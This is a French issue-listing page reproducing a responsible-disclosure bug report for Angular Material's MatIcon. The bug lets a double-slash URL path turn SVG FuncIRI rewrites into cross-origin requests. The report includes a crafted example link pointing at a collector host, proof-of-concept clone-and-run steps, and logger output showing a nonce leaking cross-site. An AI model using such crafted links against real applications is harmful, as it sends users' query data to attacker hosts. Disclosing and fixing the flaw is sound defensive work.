bug(material/icon): keep FuncIRI references same-origin on multi-slash paths
Les mainteneurs répondent en général sous 1 jour
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 3/5
- Temps estimé
- 1-2 jours
- Accessibilité débutants
- 78/100
- Type d'issue
- Bug
- Clarté
- Clairement spécifiée
- Activité
- Active
- Stack technique
- angular, typescript
Piste de recherche
Start in src/material/icon/icon.ts at MAT_ICON_LOCATION and _prependPathToReferences(), then review the existing MAT_ICON_LOCATION test provider and focused icon regression test. Verify that FuncIRI rewriting remains same-origin for paths beginning with multiple slashes, and run the relevant Material icon tests.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
Is this a regression?
No known regression. The affected FuncIRI rewriting logic is long-standing.
Description
Google's Open Source Software VRP referred me to the Angular maintainers and asked me to open a
public issue and pull request for this finding (Google OSS VRP issue
548479960).
MatIcon rewrites same-document SVG FuncIRI references such as fill="url(#gradient)" by
prepending document.location.pathname + document.location.search. A URL on the application's own
origin can have a pathname beginning with two slashes, for example:
https://app.example//collector.example/paint?user=123
In that case location.pathname is //collector.example/paint, so the rewritten attribute becomes
a protocol-relative, cross-origin reference:
url('//collector.example/paint?user=123#gradient')
Chrome consequently sends a GET request to https://collector.example/paint?user=123. The source is
MAT_ICON_LOCATION; the sink is _prependPathToReferences() in src/material/icon/icon.ts. The
same behavior applies to every SVG FuncIRI attribute in funcIriAttributes, including fill,
filter, mask, clip-path, marker*, and stroke (CWE-610).
The behavior is present on current main (22.2.0-next.5) and the latest stable release (22.1.6).
Security impact and severity
An unauthenticated attacker can send a trusted-origin-looking link to a user of an affected app. If
the app serves its SPA for a //-prefixed path and renders a FuncIRI SVG icon there, opening the link
causes cross-origin SVG resource requests to an attacker-selected host and path.
Two additional tests on the exact @angular/[email protected] package establish limited
confidentiality and integrity impact:
- After the first icon render and request, the app generated a fresh 128-bit nonce and added it to
the current query withhistory.replaceState. On the next change-detection pass,
MatIcon.ngAfterViewChecked()copied that previously unknown value into the FuncIRI and the
cross-site logger received it. This demonstrates that application-generated query state can
leave the trusted origin; it is not limited to attacker-known tracking data. - A CORS-enabled attacker SVG defining the expected gradient ID controlled the affected icon's
pixels. Red and green responses produced average icon RGB values of(255, 5, 5)and
(5, 255, 5), respectively. This is limited icon-presentation integrity, not arbitrary DOM or
script control.
The receiving host also learns that the link was opened, together with the source IP, timing,
ordinary request metadata, and the application origin in the default Referer observed in the
reproduction.
For CVSS v3.1, a reasonable affected configuration is assumed and the request is deterministic once
the page renders, so the strongest defensible candidate vector is
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1 Medium). CVSS v4.0 represents the deployment
preconditions explicitly:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (2.3 Low).
The demonstrated request carried no target cookies or authorization credentials, and application
script cannot read its response. This report does not claim XSS, authenticated CSRF, code
execution, arbitrary page modification, or broad application-secret disclosure.
Reproduction
The runnable local-only reproduction, source, raw logger output, assertion results, and pixel
screenshots are at:
https://github.com/moamenmahmod/angular-material-funciri-poc
Both servers bind to loopback. To reproduce:
git clone https://github.com/moamenmahmod/angular-material-funciri-poc.git
cd angular-material-funciri-poc
npm install
npm run build
npm run serve
# In a second shell:
npm run verify
npm run check:integrity
The core sequence is:
- The page opens at
http://localhost:4216//127.0.0.1:4217/collectand renders a gradient-backed
mat-icon. - The initial rewrite triggers
GET /collectat the separate logger. - Only then, the app creates a fresh nonce with
crypto.getRandomValuesand adds it to the query
withhistory.replaceState. - Angular change detection causes
MatIconto rewrite the FuncIRI again. - The logger receives the fresh value in a cross-site request.
Observed:
initial fill = url('//127.0.0.1:4217/collect#fresh-gradient')
fresh nonce = 43386642ba36df1f17d39c6e2c7cdd40
rewritten fill= url('//127.0.0.1:4217/collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40#fresh-gradient')
logger = GET /collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40
Sec-Fetch-Site: cross-site
All eight assertions in
verification-result.json
pass. The independent paint check is recorded in
integrity-result.json.
The accompanying pull request adds a focused regression test using the existing
MAT_ICON_LOCATION test provider.
Expected Behavior
Rewriting an in-document url(#id) reference must keep it on the current document and origin, even
when location.pathname begins with multiple slashes.
Actual Behavior
The raw path is interpolated into url(). Two leading slashes turn the reference into a
protocol-relative URL and cause a cross-origin GET in Chrome.
Environment
- Angular: 22.1.6 and current main
- CDK/Material: 22.1.6 and 22.2.0-next.5
- Browser(s): Chrome/Chromium
- Operating System: macOS (the URL construction itself is platform-independent)
- Langage dominant
- TypeScript
- Étoiles
- 25k
- Forks
- 6.8k
- Merge moyen
- 1 j 9 h
- PR mergées (30 j)
- 79
Préparer son environnement
- Aucun Dockerfile ni fichier Docker Compose
- Aucun modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de angular/components
-
bug(material/sort): hover hint arrow on an unsorted header shows the active sort direction, not the resulting direction after click.Peut-être pris @lekhmanrus l’a pris il y a 5 jours. Ouvertearea: material/sort gemini-triaged needs triage
Difficulté 2/5 1-3 heures Accessibilité débutants 70/100
angular/components#33933 ·
Les mainteneurs répondent en général sous 1 jour
-
bug(mat-date-picker): month shown twice in date pickerPeut-être pris @PreethiPantangi l’a pris il y a 23 jours. Ouvertearea: material/datepicker P4
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
angular/components#33763 · 2 commentaires · 3 réactions ·
Les mainteneurs répondent en général sous 1 jour
-
Bug in table.scss footer cell height: unset instead of footer row height unsetPeut-être pris @minwookshin l’a pris il y a 9 jours. Ouvertearea: material/table P4
Difficulté 1/5 Moins d'une heure Accessibilité débutants 88/100
angular/components#33709 · 1 commentaire ·
Les mainteneurs répondent en général sous 1 jour
-
docs-bug(Table): Add example with `rowspan`Peut-être pris @BHUVANSH855 l’a pris il y a 90 jours. Ouvertearea: material/table docs P4
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
angular/components#33455 ·
Les mainteneurs répondent en général sous 1 jour
-
bug(date-adapter): Misleading JSDoc for createDate returns typePeut-être pris @BHUVANSH855 l’a pris il y a 140 jours. Ouvertearea: material/core P3
Difficulté 1/5 Moins d'une heure Accessibilité débutants 78/100
angular/components#33059 · 2 commentaires ·
Les mainteneurs répondent en général sous 1 jour
Toutes les issues de angular/components
Issues similaires
-
ui(ListToolbar): search takes the full row on a phone instead of sharing it with the result countOuverte
Difficulté 2/5 1-3 heures Accessibilité débutants 64/100
Les mainteneurs répondent en général sous 1 jour
-
priority:high
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 78/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 65/100
immich-app/immich#32426 ·
Les mainteneurs répondent en général sous 1 jour
-
documentation good first issue hacktoberfest help wanted
Difficulté 2/5 1-3 heures Accessibilité débutants 78/100
libredb/libredb-studio#1756 ·
Les mainteneurs répondent en général sous 1 jour